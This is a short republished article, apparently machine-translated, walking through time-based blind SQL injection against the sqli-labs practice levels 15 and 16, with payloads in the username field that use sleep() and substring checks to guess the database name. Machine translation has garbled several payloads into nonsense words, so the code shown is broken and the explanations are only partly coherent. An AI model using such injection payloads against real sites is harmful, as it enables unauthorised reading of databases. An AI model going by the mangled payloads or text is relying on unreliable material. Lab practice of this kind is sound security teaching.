Shulou(Shulou.com)06/01 Report--

What this article shares with you is about what the delayed Boolean blind note in big data is like. The editor thinks it is very practical, so I share it with you to learn. I hope you can get something after reading this article. Let's take a look at it with the editor.

Environment sqli-labs

Less 15

First of all, we grab the bag.

2. Test injection

Enter 1'or 1 passport in username

Enter any input in password

So close with single quotation marks

3. Construction statement

Uname=admin' and (select (if (length (database ()) > = 8 length sleep (5), null))-& passwd=2&submit=Submit

If the length of the database is greater than or equal to 8, stay for more than 5 seconds, and do nothing if it is less than 8.

Uname=admin' and If (ascii (substr (database (), 1Jing 1)) = 115 sleep sleep (1), sleep (5) # & passwd=11&submit=Submit

If the first place is's', it stays one more second, if not five more seconds.

Uname=admin'and If (left (database (), 1) ='s magic journal 1 minute sleep (5)) # & passwd=11&submit=Submit

Less 16

Closure is in double quotes and parentheses ("), everything else is the same.

This is what the delayed Boolean blind note in big data is like. The editor believes that there are some knowledge points that we may see or use in our daily work. I hope you can learn more from this article. For more details, please follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.